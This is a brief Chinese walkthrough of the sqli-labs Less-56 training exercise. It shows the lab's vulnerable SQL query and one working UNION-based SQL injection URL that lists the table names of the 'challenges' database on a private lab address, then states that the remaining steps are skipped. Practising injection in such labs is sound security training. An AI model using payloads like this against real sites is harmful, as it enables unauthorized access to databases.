sqli-labs――――Less-56

Less-56

源代码：

sql执行语句：

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

构建payload如下：

http://192.168.11.136/sqli-labs/Less-56?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

其余的部分不再多说了哈！

文章来源: sqli-labs————Less-56